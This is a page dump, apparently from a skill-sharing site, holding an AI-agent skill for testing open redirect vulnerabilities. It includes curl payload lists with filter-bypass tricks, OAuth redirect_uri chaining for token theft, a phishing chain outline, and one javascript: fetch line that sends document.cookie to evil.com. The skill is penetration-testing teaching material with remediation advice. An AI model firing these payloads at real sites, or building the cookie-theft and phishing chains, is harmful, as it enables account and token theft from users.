[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M76PDMA72RVC2PRSJW0TEVAC":3,"skill-same:01M76PDMA72RVC2PRSJW0TEVAC":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":37,"commitSha":38,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":39,"repositoryHomepageUrl":6,"ownerHtmlUrl":40,"ownerBlogUrl":41,"ownerDescription":6,"updatedAt":42,"install":43,"resources":56},"01M76PDMA72RVC2PRSJW0TEVAC","testing-for-open-redirect-vulnerabilities",null,"Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-for-open-redirect-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-for-open-redirect-vulnerabilities\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: testing-for-open-redirect-vulnerabilities\ndescription: Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [open-redirect, url-redirect, phishing, owasp, url-validation, redirect-bypass, unvalidated-redirect]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Testing for Open Redirect Vulnerabilities\n\n## When to Use\n- When testing login\u002Flogout flows that redirect users to specified URLs\n- During assessment of OAuth authorization endpoints with redirect_uri parameters\n- When auditing applications with URL parameters (next, url, redirect, return, goto, target)\n- During phishing simulation to chain open redirects with credential harvesting\n- When testing SSO implementations for redirect validation weaknesses\n\n## Prerequisites\n- Burp Suite or OWASP ZAP for intercepting redirect requests\n- Collection of open redirect bypass payloads\n- External domain or Burp Collaborator for redirect confirmation\n- Understanding of URL parsing and encoding schemes\n- Browser with developer tools for observing redirect chains\n- Knowledge of HTTP 301\u002F302\u002F303\u002F307\u002F308 redirect status codes\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Redirect Parameters\n```bash\n# Common redirect parameter names to test:\n# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=\n# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=\n\n# Search for redirect parameters in the application\n# Use Burp Suite to crawl and identify all parameters\n\n# Test basic redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogin?next=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogout?redirect=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?redirect_uri=https:\u002F\u002Fevil.com\"\n```\n\n### Step 2 — Test Basic Open Redirect Payloads\n```bash\n# Direct external URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\"\n\n# Protocol-relative URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002Fevil.com\"\n\n# URL with @ symbol (userinfo abuse)\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com@evil.com\"\n\n# Backslash-based redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\\@target.com\"\n\n# Null byte injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com%00.target.com\"\n```\n\n### Step 3 — Apply Validation Bypass Techniques\n```bash\n# Subdomain confusion bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com.evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Ftarget.com\"\n\n# URL encoding bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https%3A%2F%2Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d\"\n\n# Double URL encoding\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com\"\n\n# Mixed case protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=HtTpS:\u002F\u002Fevil.com\"\n\n# CRLF injection in redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%0d%0aLocation:%20https:\u002F\u002Fevil.com\"\n\n# JavaScript protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.domain)\"\n\n# Data URI\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>\"\n```\n\n### Step 4 — Test Path-Based Redirects\n```bash\n# Relative path injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\\evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F.evil.com\"\n\n# Path traversal with redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F..\u002F..\u002F..\u002Fevil.com\"\n\n# Fragment-based bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com#target.com\"\n\n# Parameter pollution for redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com&url=https:\u002F\u002Fevil.com\"\n```\n\n### Step 5 — Chain with Other Vulnerabilities\n```bash\n# Chain with OAuth for token theft\n# Step 1: Find open redirect on target.com\n# Step 2: Use it as redirect_uri in OAuth flow\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=CLIENT&redirect_uri=http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com&response_type=code\"\n\n# Chain with phishing\n# Create convincing phishing page at evil.com\n# Use open redirect: http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Flogin\n# Victim sees target.com in the initial URL\n\n# Chain with XSS via javascript: protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:fetch('https:\u002F\u002Fevil.com\u002F?c='+document.cookie)\"\n```\n\n### Step 6 — Automate Open Redirect Testing\n```bash\n# Use OpenRedireX for automated testing\npython3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ\n\n# Use gf tool to extract redirect parameters from URLs\ncat urls.txt | gf redirect | sort -u > redirect_params.txt\n\n# Mass test with nuclei\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fopen-redirect.yaml\n\n# Test with ffuf\nffuf -w open-redirect-payloads.txt -u \"http:\u002F\u002Ftarget.com\u002Fredirect?url=FUZZ\" -mr \"Location: https:\u002F\u002Fevil\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |\n| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |\n| Protocol-Relative URL | Using \u002F\u002F prefix to redirect while inheriting current protocol |\n| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |\n| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |\n| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |\n| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| OpenRedireX | Automated open redirect vulnerability testing tool |\n| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |\n| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |\n| nuclei | Template-based scanner with open redirect detection templates |\n| ffuf | Fuzzer for mass-testing redirect parameter payloads |\n| OWASP ZAP | Automated scanner with open redirect detection |\n\n## Common Scenarios\n\n1. **Phishing Amplification** — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users\n2. **OAuth Token Theft** — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens\n3. **SSO Bypass** — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens\n4. **XSS via Redirect** — Chain open redirect with javascript: protocol to achieve cross-site scripting\n5. **Referer Leakage** — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites\n\n## Output Format\n\n```\n## Open Redirect Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Vulnerable Parameters Found**: 3\n- **Bypass Techniques Required**: URL encoding, userinfo abuse\n\n### Findings\n| # | Endpoint | Parameter | Payload | Impact |\n|---|----------|-----------|---------|--------|\n| 1 | \u002Flogin | next | \u002F\u002Fevil.com | Phishing |\n| 2 | \u002Foauth\u002Fauthorize | redirect_uri | https:\u002F\u002Ftarget.com@evil.com | Token Theft |\n| 3 | \u002Flogout | return | https:\u002F\u002Fevil.com%00.target.com | Session Redirect |\n\n### Remediation\n- Implement allowlist of permitted redirect destinations\n- Validate redirect URLs server-side using strict URL parsing\n- Reject any redirect URL containing external domains\n- Use indirect reference maps instead of direct URL parameters\n```\n","# Testing for Open Redirect Vulnerabilities\n\n## When to Use\n- When testing login\u002Flogout flows that redirect users to specified URLs\n- During assessment of OAuth authorization endpoints with redirect_uri parameters\n- When auditing applications with URL parameters (next, url, redirect, return, goto, target)\n- During phishing simulation to chain open redirects with credential harvesting\n- When testing SSO implementations for redirect validation weaknesses\n\n## Prerequisites\n- Burp Suite or OWASP ZAP for intercepting redirect requests\n- Collection of open redirect bypass payloads\n- External domain or Burp Collaborator for redirect confirmation\n- Understanding of URL parsing and encoding schemes\n- Browser with developer tools for observing redirect chains\n- Knowledge of HTTP 301\u002F302\u002F303\u002F307\u002F308 redirect status codes\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Redirect Parameters\n```bash\n# Common redirect parameter names to test:\n# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=\n# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=\n\n# Search for redirect parameters in the application\n# Use Burp Suite to crawl and identify all parameters\n\n# Test basic redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogin?next=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Flogout?redirect=https:\u002F\u002Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?redirect_uri=https:\u002F\u002Fevil.com\"\n```\n\n### Step 2 — Test Basic Open Redirect Payloads\n```bash\n# Direct external URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\"\n\n# Protocol-relative URL\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\u002Fevil.com\"\n\n# URL with @ symbol (userinfo abuse)\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com@evil.com\"\n\n# Backslash-based redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\\@target.com\"\n\n# Null byte injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com%00.target.com\"\n```\n\n### Step 3 — Apply Validation Bypass Techniques\n```bash\n# Subdomain confusion bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com.evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Ftarget.com\"\n\n# URL encoding bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https%3A%2F%2Fevil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d\"\n\n# Double URL encoding\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com\"\n\n# Mixed case protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=HtTpS:\u002F\u002Fevil.com\"\n\n# CRLF injection in redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=%0d%0aLocation:%20https:\u002F\u002Fevil.com\"\n\n# JavaScript protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:alert(document.domain)\"\n\n# Data URI\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=data:text\u002Fhtml,\u003Cscript>alert(1)\u003C\u002Fscript>\"\n```\n\n### Step 4 — Test Path-Based Redirects\n```bash\n# Relative path injection\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F\\evil.com\"\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F.evil.com\"\n\n# Path traversal with redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=\u002F..\u002F..\u002F..\u002Fevil.com\"\n\n# Fragment-based bypass\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com#target.com\"\n\n# Parameter pollution for redirect\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Ftarget.com&url=https:\u002F\u002Fevil.com\"\n```\n\n### Step 5 — Chain with Other Vulnerabilities\n```bash\n# Chain with OAuth for token theft\n# Step 1: Find open redirect on target.com\n# Step 2: Use it as redirect_uri in OAuth flow\ncurl -v \"http:\u002F\u002Ftarget.com\u002Foauth\u002Fauthorize?client_id=CLIENT&redirect_uri=http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com&response_type=code\"\n\n# Chain with phishing\n# Create convincing phishing page at evil.com\n# Use open redirect: http:\u002F\u002Ftarget.com\u002Fredirect?url=https:\u002F\u002Fevil.com\u002Flogin\n# Victim sees target.com in the initial URL\n\n# Chain with XSS via javascript: protocol\ncurl -v \"http:\u002F\u002Ftarget.com\u002Fredirect?url=javascript:fetch('https:\u002F\u002Fevil.com\u002F?c='+document.cookie)\"\n```\n\n### Step 6 — Automate Open Redirect Testing\n```bash\n# Use OpenRedireX for automated testing\npython3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ\n\n# Use gf tool to extract redirect parameters from URLs\ncat urls.txt | gf redirect | sort -u > redirect_params.txt\n\n# Mass test with nuclei\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fopen-redirect.yaml\n\n# Test with ffuf\nffuf -w open-redirect-payloads.txt -u \"http:\u002F\u002Ftarget.com\u002Fredirect?url=FUZZ\" -mr \"Location: https:\u002F\u002Fevil\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |\n| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |\n| Protocol-Relative URL | Using \u002F\u002F prefix to redirect while inheriting current protocol |\n| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |\n| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |\n| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |\n| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| OpenRedireX | Automated open redirect vulnerability testing tool |\n| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |\n| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |\n| nuclei | Template-based scanner with open redirect detection templates |\n| ffuf | Fuzzer for mass-testing redirect parameter payloads |\n| OWASP ZAP | Automated scanner with open redirect detection |\n\n## Common Scenarios\n\n1. **Phishing Amplification** — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users\n2. **OAuth Token Theft** — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens\n3. **SSO Bypass** — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens\n4. **XSS via Redirect** — Chain open redirect with javascript: protocol to achieve cross-site scripting\n5. **Referer Leakage** — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites\n\n## Output Format\n\n```\n## Open Redirect Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Vulnerable Parameters Found**: 3\n- **Bypass Techniques Required**: URL encoding, userinfo abuse\n\n### Findings\n| # | Endpoint | Parameter | Payload | Impact |\n|---|----------|-----------|---------|--------|\n| 1 | \u002Flogin | next | \u002F\u002Fevil.com | Phishing |\n| 2 | \u002Foauth\u002Fauthorize | redirect_uri | https:\u002F\u002Ftarget.com@evil.com | Token Theft |\n| 3 | \u002Flogout | return | https:\u002F\u002Fevil.com%00.target.com | Session Redirect |\n\n### Remediation\n- Implement allowlist of permitted redirect destinations\n- Validate redirect URLs server-side using strict URL parsing\n- Reject any redirect URL containing external domains\n- Use indirect reference maps instead of direct URL parameters\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"subdomain":36,"description":7},[26,27,28,29,30,31,32],"open-redirect","url-redirect","phishing","owasp","url-validation","redirect-bypass","unvalidated-redirect","mahipal","cybersecurity","1.0","web-application-security","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":44,"prompt":54,"zipAvailable":55},[45,48,51],{"tool":46,"command":47},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill testing-for-open-redirect-vulnerabilities",{"tool":49,"command":50},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill testing-for-open-redirect-vulnerabilities",{"tool":52,"command":53},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill testing-for-open-redirect-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-for-open-redirect-vulnerabilities\u002FSKILL.md",true,[57,61,67],{"path":58,"resourceType":58,"resourceTypeDesc":59,"sizeBytes":60,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":62,"resourceType":63,"resourceTypeDesc":64,"sizeBytes":65,"sourceHtmlUrl":66},"references\u002Fapi-reference.md","REFERENCE","参考文档",1496,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-for-open-redirect-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"scripts\u002Fagent.py","SCRIPT","脚本",6115,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Ftesting-for-open-redirect-vulnerabilities\u002Fscripts\u002Fagent.py",[74,82,89,96,103,110],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]